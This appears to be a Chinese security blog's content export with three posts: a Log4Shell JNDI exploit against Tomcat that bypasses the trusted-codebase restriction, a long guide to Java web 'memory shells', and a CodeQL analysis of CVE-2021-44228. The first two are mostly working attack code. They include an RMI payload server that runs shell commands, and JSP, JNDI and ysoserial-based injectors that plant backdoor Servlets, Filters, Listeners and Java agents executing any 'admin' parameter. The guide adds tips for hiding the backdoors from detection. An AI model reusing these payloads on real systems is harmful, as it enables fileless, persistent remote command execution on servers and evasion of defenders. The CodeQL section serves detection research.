-
Notifications
You must be signed in to change notification settings - Fork 1
/
content.json
1 lines (1 loc) · 110 KB
/
content.json
1
{"pages":[{"title":"Error 404 - Page Not Found 未找到页面","text":"点我返回首页","link":"/404.html"},{"title":"关于我","text":"Email: [email protected] 其它的下次再写…","link":"/about/index.html"}],"posts":[{"title":"在Tomcat环境下使用JNDI绕过trusted codebase限制的Exploit","text":"在CVE-2021-44228 log4j2 RCE 分析中,我们实现了在Java 8u181中通过JNDI加载恶意类实现RCE,本文我们实现一个在trusted codebase限制下实现RCE的Exploit 搭建Tomcat脆弱环境IDEA使用Web Profile配置创建Java EE项目,使用Tomcat 9.0.58进行学习,不同版本的Tomcat的内部不同,本文统一使用Tomcat 9,Java版本使用Java 8u292,在pom.xml中引入log4j-core 2.14.1的依赖 在自动创建的HelloServlet类中的doGet写入触发log4j漏洞的代码 123456789101112131415161718192021222324252627282930package com.example.Tomcat9Web;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import java.io.*;import javax.servlet.http.*;import javax.servlet.annotation.*;@WebServlet(name = "helloServlet", value = "/hello-servlet")public class HelloServlet extends HttpServlet { private String message; private static final Logger logger = LogManager.getLogger(); public void init() { message = "Hello World!"; } public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/html"); logger.error("${jndi:rmi://127.0.0.1:1199/Exploit}"); // Hello PrintWriter out = response.getWriter(); out.println("<html><body>"); out.println("<h1>" + message + "</h1>"); out.println("</body></html>"); } public void destroy() { }} 制作Exploit 参考:如何绕过高版本JDK限制进行JNDI注入利用 (qq.com) 原理部分可以阅读参考的KINGX师傅的文章 将Tomcat的lib文件夹和bin/tomcat-juli.jar引入项目的libraries来消除依赖问题 代码如下 1234567891011121314151617181920212223import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.StringRefAddr;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import org.apache.naming.ResourceRef;public class Main { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1199);// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码 ref.add(new StringRefAddr("forceString", "payload=eval"));// 利用表达式执行命令 ref.add(new StringRefAddr("payload", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','curl 127.0.0.1:4444']).start()\\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); }} 运行Exploit和Tomcat项目并访问doGet方法触发log4j漏洞,就能成功执行命令","link":"/Exploit/%E5%9C%A8Tomcat%E7%8E%AF%E5%A2%83%E4%B8%8B%E4%BD%BF%E7%94%A8JNDI%E7%BB%95%E8%BF%87trusted-codebase%E9%99%90%E5%88%B6%E7%9A%84Exploit/"},{"title":"JavaWeb 内存马技术归纳","text":"本文以Tomcat 9为核心学习并归纳了一些内存马技术,除有特殊说明外的章节外,本文使用Java 8u292 首先我们整理一下几种植入内存马的方式 基于JSP WebShell植入内存马 基于JavaWeb RCE漏洞植入内存马 真正的无文件落地内存马 通过Java Agent植入内存马 由于我们使用的是Tomcat,可以通过动态增加Servlet、Filter、Listener来植入内存马,如果技术栈还存在Spring和Shiro等,还可以使用增加Controller等方法 基于JSP WebShell植入内存马 参考:MemoryShellLearn/jsp注入内存马 at main · bitterzzZZ/MemoryShellLearn (github.com) 配置开发环境IDEA使用Web Profile配置创建Java EE项目,使用Tomcat 9.0.58进行学习,不同版本的Tomcat的内部不同,本文统一使用Tomcat 9 为了在JSP中开发内存马,我们需要使用Tomcat的API,虽然在放在Tomcat中就可以直接使用Tomcat的API,但是IDEA无法进行代码提示,因此我们要在项目设置中把Apache Tomcat中的lib文件夹加入项目的Libraries中去,除此之外还要引入tomcat的/bin/tomcat-juli.jar 完成Libraries的配置后我们的代码就不会因为缺少依赖而出现报错了 增加ServletServlet我们都知道,是Tomcat的最基本的服务程序,我们可以直接在内存中增加Servlet来实现无文件的内存马 增加Servlet的方式分为3个步骤 利用反射通过ApplicationContextFacade获取到StandardContext 将Servlet程序封装到Wrapper 将封装好的Wrapper增加到StandardContext中并添加地址映射 代码如下 1234567891011121314151617181920212223242526272829303132333435363738394041<%@ page contentType="text/html;charset=UTF-8"%><%@ page import = "org.apache.catalina.core.*"%><%@ page import = "javax.servlet.*"%><%@ page import = "javax.servlet.http.*"%><%@ page import = "java.io.*"%><%@ page import = "java.lang.reflect.Field"%><% class BackdoorServlet extends HttpServlet { @Override public void service(ServletRequest req, ServletResponse res) throws IOException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; if (request.getParameter("admin")!=null){ Runtime.getRuntime().exec(request.getParameter("admin")); } else{ response.sendError(HttpServletResponse.SC_NOT_FOUND); } } } ServletContext servletContext = request.getSession().getServletContext(); // 获取Context // 通过反射从ApplicationContextFacade中获取到当前的StandardContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); // 将Servlet添加到Context中去 BackdoorServlet backdoorServlet = new BackdoorServlet(); org.apache.catalina.Wrapper backdoorWrapper = standardContext.createWrapper(); backdoorWrapper.setName("hello"); backdoorWrapper.setLoadOnStartup(1); backdoorWrapper.setServlet(backdoorServlet); backdoorWrapper.setServletClass(backdoorServlet.getClass().getName()); // jiang standardContext.addChild(backdoorWrapper); standardContext.addServletMappingDecoded("/hello", "hello"); // 自毁// (new File(application.getRealPath(request.getServletPath()))).delete();%> 触发方法:将JSP放入webapp文件夹中,我们首先访问路径/addServlet.jsp写入内存马,然后再访问/hello?admin=<指令>就可以执行命令了 增加Filter由于Filter在Servlet之前运行,因此可以不受URL的限制,甚至可以伪装成在对一个正常的Servlet进行访问 增加Filter的方式分为4个步骤 通过反射从ApplicationContextFacade中获取到当前的StandardContext,从StandardContext获取到filterConfigs 封装Filter为FilterDef,并添加到StandContext中 生成新的ApplicationFilterConfig并添加到filterConfigs中 创建FilterMap并加入StandardContext中,为Filter确定适用的URL 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758<%@ page contentType="text/html;charset=UTF-8"%><%@ page import = "org.apache.catalina.Context" %><%@ page import = "org.apache.catalina.core.*" %><%@ page import = "org.apache.tomcat.util.descriptor.web.*" %><%@ page import = "javax.servlet.*" %><%@ page import = "javax.servlet.http.HttpServletRequest" %><%@ page import = "java.io.*" %><%@ page import = "java.lang.reflect.*" %><%@ page import = "java.util.Map" %><% class BackdoorFilter extends HttpFilter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; if (request.getParameter("admin")!=null){ Runtime.getRuntime().exec(request.getParameter("admin")); } filterChain.doFilter(req, res); } } String name = "BackdoorFilter"; // 通过反射从ApplicationContextFacade中获取到当前的StandardContext ServletContext servletContext = request.getSession().getServletContext(); Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); // 通过反射从StandardContext获取到filterConfigs field = standardContext.getClass().getDeclaredField("filterConfigs"); field.setAccessible(true); Map filterConfigs = (Map) field.get(standardContext); if (filterConfigs.get(name) == null){ // 防止重复注入 BackdoorFilter filter = new BackdoorFilter(); // 封装Filter为FilterDef,并添加到StandContext中 FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); // 生成新的ApplicationFilterConfig并添加到filterConfigs中 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); // 创建FilterMap并加入StandardContext中,为Filter确定适用的URL FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); // 全局生效 filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); // 自毁 (new File(application.getRealPath(request.getServletPath()))).delete(); }%> 触发方法:将JSP放入webapp文件夹中,我们首先访问路径/addFilter.jsp写入内存马,然后在访问任意路径时,带上GET参数admin就可以执行命令了 增加ListenerTomcat的Listener可以用于在某个事件发生时执行操作,我们选择实现ServletRequestListener来监听每一个HTTP请求 增加Listener的方式分为2个步骤 利用反射通过ApplicationContextFacade获取到StandardContext 将Listener添加到StandardContext中 123456789101112131415161718192021222324252627282930<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="org.apache.catalina.core.*" %><%@ page import="javax.servlet.*" %><%@ page import="java.io.*" %><%@ page import="java.lang.reflect.Field" %><% class BackdoorListener implements ServletRequestListener{ @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { if (request.getParameter("admin")!=null){ try { Runtime.getRuntime().exec(request.getParameter("admin")); } catch (IOException e) {} } } } // 通过反射从ApplicationContextFacade中获取到当前的StandardContext ServletContext servletContext = request.getSession().getServletContext(); Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); standardContext.addApplicationEventListener(new BackdoorListener()); // 自毁 (new File(application.getRealPath(request.getServletPath()))).delete();%> 触发方法:将JSP放入webapp文件夹中,我们首先访问路径/addListener.jsp写入内存马,然后在访问任意路径时,带上GET参数admin就可以执行命令了 介绍完Tomcat JSP内存马,接下来我们进入真正无文件落地的基于JNDI和反序列化植入内存马 基于JNDI的内存马植入 - 以CVE-2021-44228 Log4Shell为例 关于CVE-2021-44228的分析,可以参见我之前的讲解文章,由于我使用remote codebase方法,本节只能使用jdk 8u181及以下的版本 准备Tomcat脆弱环境首先在Tomcat项目的pom.xml中加入log4j-core 2.14.1的依赖,然后我们再写一个触发log4j漏洞的Servlet 直接在自动创建的HelloServlet上修改即可 1234567891011121314151617181920212223242526272829303132package com.example.JavaWebDemo;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet(name = "helloServlet", value = "/hello-servlet")public class HelloServlet extends HttpServlet { private String message; public void init() { message = "Hello World!"; } public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { Logger logger = LogManager.getLogger(); logger.error("${jndi:ldap://127.0.0.1:1389/#Exploit}"); response.setContentType("text/html"); PrintWriter out = response.getWriter(); out.println("<html><body>"); out.println("<h1>" + message + "</h1>"); out.println("</body></html>"); }} 构造Exploit我们只尝试增加Filter,增加Servlet和Listener的方法也比较相似,不重复讨论 接下来按照我之前的CVE-2021-44228分析中的方法触发JNDI漏洞,我们将反弹Shell的代码进行修改 这时候遇到一个难点,之前我们使用JSP获取内存马,可以发现,往Tomcat中注入内存马的核心是需要获取到StandardContext实例,之前JSP会自动放进去一个request对象,可以用于获取StandardContext,但是此时没有这个便捷的方式,所以我们要另寻出入了 参考这篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法 - 先知社区 (aliyun.com) 由于我们使用Tomcat9,此处我们使用”从ContextClassLoader获取”的方式为例来获取StandardContext,代码如下 12WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); 整合Exploit,代码如下 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253import org.apache.catalina.Context;import org.apache.catalina.core.*;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.*;import javax.servlet.*;import javax.servlet.http.*;import java.io.*;import java.lang.reflect.*;import java.util.Map;@SuppressWarnings("unchecked")public class Exploit{ public Exploit() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException { class BackdoorFilter extends HttpFilter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; if (request.getParameter("admin")!=null){ Runtime.getRuntime().exec(request.getParameter("admin")); } filterChain.doFilter(req, res); } } String name = "BackdoorFilter"; // 从ContextClassLoader获取StandardContext WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); // 通过反射从StandardContext获取到filterConfigs Field field = standardContext.getClass().getDeclaredField("filterConfigs"); field.setAccessible(true); Map filterConfigs = (Map) field.get(standardContext); if (filterConfigs.get(name) == null) { // 防止重复注入 BackdoorFilter filter = new BackdoorFilter(); // 封装Filter为FilterDef,并添加到StandContext中 FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); // 生成新的ApplicationFilterConfig并添加到filterConfigs中 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); // 创建FilterMap并加入StandardContext中,为Filter确定适用的URL FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); // 全局生效 filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); } }} 首先触发log4j漏洞,利用JNDI执行我们的Exploit植入内存马,随后访问任意URL时带上admin参数即可执行命令 可以发现,在这种情况下,我们实现了真正的无文件落地,但是JNDI+LDAP的攻击方式在jdk 8u191及之后就无法利用了,下一节我们讨论基于反序列化的植入方法 基于反序列化的内存马植入 - ysoserial-CommonsCollections2改造 参考:基于tomcat的内存 Webshell 无文件攻击技术 - 先知社区 (aliyun.com) 由于CommonsCollections2使用了TemplatesImpl,所以我们才能用这个方法进行内存马注入,像CommonsCollections1没有利用TemplatesImpl,所以就不行了 配置反序列化环境我们写一个进行反序列化的接口,放在doPost()里面,核心代码只需一句 1(new ObjectInputStream((request.getInputStream()))).readObject(); 我们使用CommonsCollections2作为例子,通过Maven引入commons-collections4:4.0 测试一下环境是否正常 会报错,但是我们可以发现是TemplatesImpl抛出的,并且检查命令执行效果可以发现命令执行成功了,接下来开始改造Payload 构造Exploit首先是用IDEA导入ysoserial项目,项目的Jdk版本设置为1.8。 由于打包起来太麻烦,我们将ysoserial.GeneratePayload作为主类运行,直接生成Payload 由于我们要输出到文件中,修改GeneraterPayload.java的第35行PrintStream out = System.out;改为PrintStream out = new PrintStream("./output.serial"); 首先在ysoserial.payloads.util.Gadgets.java中调整createTemplateImpl函数 由于原版的createTemplateImpl根据要执行的指令来生成TemplateImpl我们将其重载并稍微修改一下 我们复制createTemplateImpl并改为如下 12345678910111213141516171819202122232425262728public static Object createTemplatesImpl ( final Class _class ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( _class, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(_class, TemplatesImpl.class, TransformerFactoryImpl.class);}public static <T> T createTemplatesImpl ( final Class _class, Class<T> tplClass, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); final byte[] classBytes = ClassFiles.classAsBytes(_class); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates;} 对于第一处重载,只是把command改为了_class并删除了无用的参数,第二处重载则从通过Javaassist技术制作类并获取字节码变为直接获取字节码,因为我们直接编写了类文件 然后将payloads/CommonsCollections2复制出一个新版本,命名为CommonsCollections2ForClassInjection 将command参数重构为payloadName,变为注入的类名来使用,之后可以方便调整为使用ServletInjection等其它内存马 把这一句进行修改 1final Object templates = Gadgets.createTemplatesImpl(command); 换为如下,直接通过类名获取字节码 1final Object templates = Gadgets.createTemplatesImpl(Class.forName("ysoserial.shells."+payloadName)); 启动参数配置如下 将生成的output.serial文件打到服务器上,然后在访问任意路径时,带上GET参数admin就可以执行命令了 可以发现我给自己起的Payload名字是TomcatFilterInjection,把它放在如图的位置 Payload代码如下,大家也可以自己制作ServletInjection或者ListenerInjection作为Payload 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091package ysoserial.shells;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Map;public class TomcatFilterInjection extends AbstractTranslet implements Filter { static { try { String name = "TomcatFilterInjection"; // 从ContextClassLoader获取StandardContext WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); // 通过反射从StandardContext获取到filterConfigs Field field = standardContext.getClass().getDeclaredField("filterConfigs"); field.setAccessible(true); Map filterConfigs = (Map) field.get(standardContext); if (filterConfigs.get(name) == null) { // 防止重复注入 TomcatFilterInjection filter = new TomcatFilterInjection(); // 封装Filter为FilterDef,并添加到StandContext中 FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); // 生成新的ApplicationFilterConfig并添加到filterConfigs中 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); // 创建FilterMap并加入StandardContext中,为Filter确定适用的URL FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); // 全局生效 filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); } } catch (Exception e) { // 忽略错误,在生成生成序列化代码时也会执行static部分,必然报错,直接跳过即可 } } @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; if (request.getParameter("admin")!=null){ Runtime.getRuntime().exec(request.getParameter("admin")); } filterChain.doFilter(req, res); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void destroy() { }} Java Agent内存马 参考:Java Agent 从入门到内存马 - 先知社区 (aliyun.com) 还是以Tomcat为例,我们知道JavaAgent技术可以动态修改字节码,我们熟知的Burp Suite的破解技术就是基于premain方法实现的,通过agentmain,我们可以直接修改关键类即可 由于Java Agent内存马需要有Jar文件落地,并不是比JSP更好的方法,只能说在JSP无法解析的时候适用性会更好一些 比较知名的冰蝎就提供了Java Agent内存马,我们也实现一个比较基础的 调用端(Attacher)的核心代码其实就3句话 123VirtualMachine virtualMachine = VirtualMachine.attach(id);virtualMachine.loadAgent(jarName);virtualMachine.detach(); 我们可以使用前面研究过的JNDI注入方法进行注入,也可以利用反序列化,只要能够执行Java代码即可,甚至拿到系统Shell后直接用命令执行loadAgent的另一个java程序也可以,只是要上传更多的文件,风险更大 这里方便起见,直接继续使用前面研究的反序列化注入方法进行攻击,我们在shells中增加一个新的Payload,代码如下 1234567891011121314151617181920212223242526272829303132333435363738394041424344package ysoserial.shells;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import com.sun.tools.attach.VirtualMachine;import sun.management.VMManagement;import java.lang.management.ManagementFactory;import java.lang.management.RuntimeMXBean;import java.lang.reflect.Field;import java.lang.reflect.Method;public class AgentInjection extends AbstractTranslet { static { try { // 首先获取进程ID RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean(); Field jvm = runtime.getClass().getDeclaredField("jvm"); jvm.setAccessible(true); VMManagement mgmt = (VMManagement) jvm.get(runtime); Method pidMethod = mgmt.getClass().getDeclaredMethod("getProcessId"); pidMethod.setAccessible(true); // attach到当前JVM VirtualMachine virtualMachine = VirtualMachine.attach(String.valueOf(pidMethod.invoke(mgmt))); // 加载agent,可以从远程下载再load,这里直接从本地load了 virtualMachine.loadAgent("/tmp/agent.jar"); virtualMachine.detach(); }catch (Exception e){ } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }} 在src/main/resources/目录下创建META-INF/MANIFEST.MF,内容如下 123Manifest-Version: 1.0Agent-Class: AgentCan-Retransform-Classes: true 打包成.jar,发送序列化数据,结果遇到异常 可以发现依赖于tools.jar,这个包对于Tomcat来说并不会自动加载,为了让攻击奏效,我们可以通过JAVA_HOME路径手动加载类型,通过反射执行相关函数 修改后的Payload代码如下 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950package ysoserial.shells;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import sun.management.VMManagement;import java.io.File;import java.lang.management.ManagementFactory;import java.lang.management.RuntimeMXBean;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URLClassLoader;public class AgentInjection extends AbstractTranslet { static { try { // 首先获取进程ID RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean(); Field jvm = runtime.getClass().getDeclaredField("jvm"); jvm.setAccessible(true); VMManagement mgmt = (VMManagement) jvm.get(runtime); Method pidMethod = mgmt.getClass().getDeclaredMethod("getProcessId"); pidMethod.setAccessible(true); // 通过反射进行调用 URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{new File(System.getProperty("java.home").replace("jre","lib") + File.separator + "tools.jar").toURI().toURL()}); Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); Method loadAgent=VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); Method detach=VirtualMachine.getDeclaredMethod("detach",null); Object virtualMachine = attach.invoke(VirtualMachine,new Object[]{String.valueOf(pidMethod.invoke(mgmt))}); loadAgent.invoke(virtualMachine,new Object[]{"/tmp/agent.jar"}); detach.invoke(virtualMachine); }catch (Exception e){ } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }} 完成反序列化注入Payload后,在访问任意路径时,带上GET参数admin就可以执行命令了 内存马检测和隐藏 参考: 探索Filter型Tomcat内存马的免杀 - 先知社区 (aliyun.com) 查杀Java web filter型内存马 | 回忆飘如雪 (gv7.me) 对于注入后的内存马,可以分为两个类型 组件注入型 - 注入Servlet、Filter、Listener、Controller等 Agent注入型 - 注入字节码 检测方面的研究主要有c0ny1师傅的文章 组件注入型的检测和查杀可以发现c0ny1师傅给出的方法就是通过加载Java Agent实时获取所有Filter,并且对于可疑的类进行检查 根据4ra1n师傅的方法,我们可以主要通过如下手段来隐藏我们的内存马 内存马的类名改为更加合理的,不要使用BackdoorFilter这样显眼的名字,并引入一定的随机化 读取已有Filter的包名,将自己Filter包名改为一致的 自动修改web.xml的内容进行隐藏 除此之外,由于可以检查Filter对应的classpath是否存在来检查,我们可以把class文件写入到硬盘上,但是这样就有被HIDS扫描到的风险,应视情况采用 目前为止,如果防御方不把class文件dump出来进行反编译对源码进行分析,应该是很难识别了,如果被dump了的话,只能进一步进采用源码免杀技巧 Agent注入型的检测和查杀由于c0ny1师傅的《查杀Java web Agent型内存马》尚未发布,先留个坑在这里","link":"/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/JavaWeb-%E5%86%85%E5%AD%98%E9%A9%AC%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/"},{"title":"使用CodeQL发现Log4j CVE-2021-44228","text":"虽然已经有了一个针对”Potential Log4J LDAP JNDI injection (CVE-2021-44228)”的实验性CWE-020 Query,但这次我想改写CWE-074,使其能够发现CVE-2021-44228。 本文同时提供其他语言的版本: English. 引入众所周知,Log4j是由受用户控制的JNDI lookup引起的。从文档中,我发现CodeQL Query帮助已经涵盖了它,它的CWE编号是CWE-074。以下是该文档链接: JNDI lookup with user-controlled name 让我们一起学习这个CWE,尝试使用它来查找Log4j CVE-2021-44228漏洞 在本文中,有一些CodeQL专有的术语,我不会将它们转换为中文,但在这里解释一下它们的含义。你也可以在官方的术语库中查阅 predicate - 类似普通开发语言的函数 source - 类似于起点 sink - 类似于终点 query - 类似SQL的query,也类似脚本语言中的脚本 解读 CWE-074CWE-074代码: https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-074/JndiInjection.ql 正如我们所看到的,它将大部分代码封装到了semmle.code.java.security.JndiInjectionQuery中 通过代码中的注释,我们可以知道这个库被用来提供污点跟踪配置,以用于JNDI注入的Query。 在其中,我们可以发现它需要以下4个库: semmle.code.java.dataflow.FlowSources 提供了表示污点跟踪各种数据来源的类和predicate 这是CodeQL的基本库 semmle.code.java.frameworks.Jndi 提供了用于操作Java JNDI API的类和predicate。 semmle.code.java.frameworks.SpringLdap 提供了用于操作Spring LDAP API的类和predicate semmle.code.java.security.JndiInjection 提供了用于分析JNDI注入漏洞的类和predicate 这个对我们很重要,因此我们将分析这个库 解读 JndiInjection.qllClass DefaultJndiInjectionSink它调用了内部实验性API,在实践中,我发现它可以定位JNDI lookup函数。 以下是我编写的代码,其作用与sinkNode的调用相同。 123456exists(MethodAccess ma, Method m | ma.getMethod() = m and this.asExpr() = ma.getAnArgument() and m.getDeclaringType().hasQualifiedName("javax.naming","Context") and m.hasName("lookup")) Class ConditionedJndiInjectionSink该类扩展了JndiInjectionSink和DataFlow::ExprNode,因此它既是一个Node,也是一个ExprNode。 以下是CodeQL判断代码: 1234567891011exists(MethodAccess ma, Method m | ma.getMethod() = m and ma.getArgument(0) = this.asExpr() and m.getDeclaringType().getASourceSupertype*() instanceof TypeLdapOperations | m.hasName("search") and ma.getArgument(3).(CompileTimeConstantExpr).getBooleanValue() = true or m.hasName("unbind") and ma.getArgument(1).(CompileTimeConstantExpr).getBooleanValue() = true ) Let’s divide it into 3 parts by the | operand . 我们通过|运算符将其分为3个部分 1MethodAccess ma, Method m 首先是一个方法访问和方法 123ma.getMethod() = m andma.getArgument(0) = this.asExpr() andm.getDeclaringType().getASourceSupertype*() instanceof TypeLdapOperations 该方法访问了m方法,作为表达式的sink是m方法的第一个参数,而这个方法是LDAP操作。 12345m.hasName("search") andma.getArgument(3).(CompileTimeConstantExpr).getBooleanValue() = trueorm.hasName("unbind") andma.getArgument(1).(CompileTimeConstantExpr).getBooleanValue() = true 该方法可以是search方法,在编译时它的第三个参数应该是true;或者该方法可以是unbind方法,在编译时它的第一个参数应该是true。 这是什么意思?我们可以在真实的代码中查看一下。 TypeLdapOperations 包含2个类 org.springframework.ldap.core org.springframework.ldap 所以这只是针对具有SpringFramework的情况,但是这一次,我想找到一个更通用的条件,而不需要任何框架。不过,下次分析这一点也是一个不错的想法。 Class ProviderUrlJndiInjectionSink正如注释所说,它可以找到关于PROVIDER_URL的sink。 1234/** * Tainted value passed to env `Hashtable` as the provider URL by calling * `env.put(Context.PROVIDER_URL, tainted)` or `env.setProperty(Context.PROVIDER_URL, tainted)`. */ 12345678910111213141516exists(MethodAccess ma, Method m | ma.getMethod() = m and ma.getArgument(1) = this.getExpr()| m.getDeclaringType().getASourceSupertype*() instanceof TypeHashtable and (m.hasName("put") or m.hasName("setProperty")) and ( 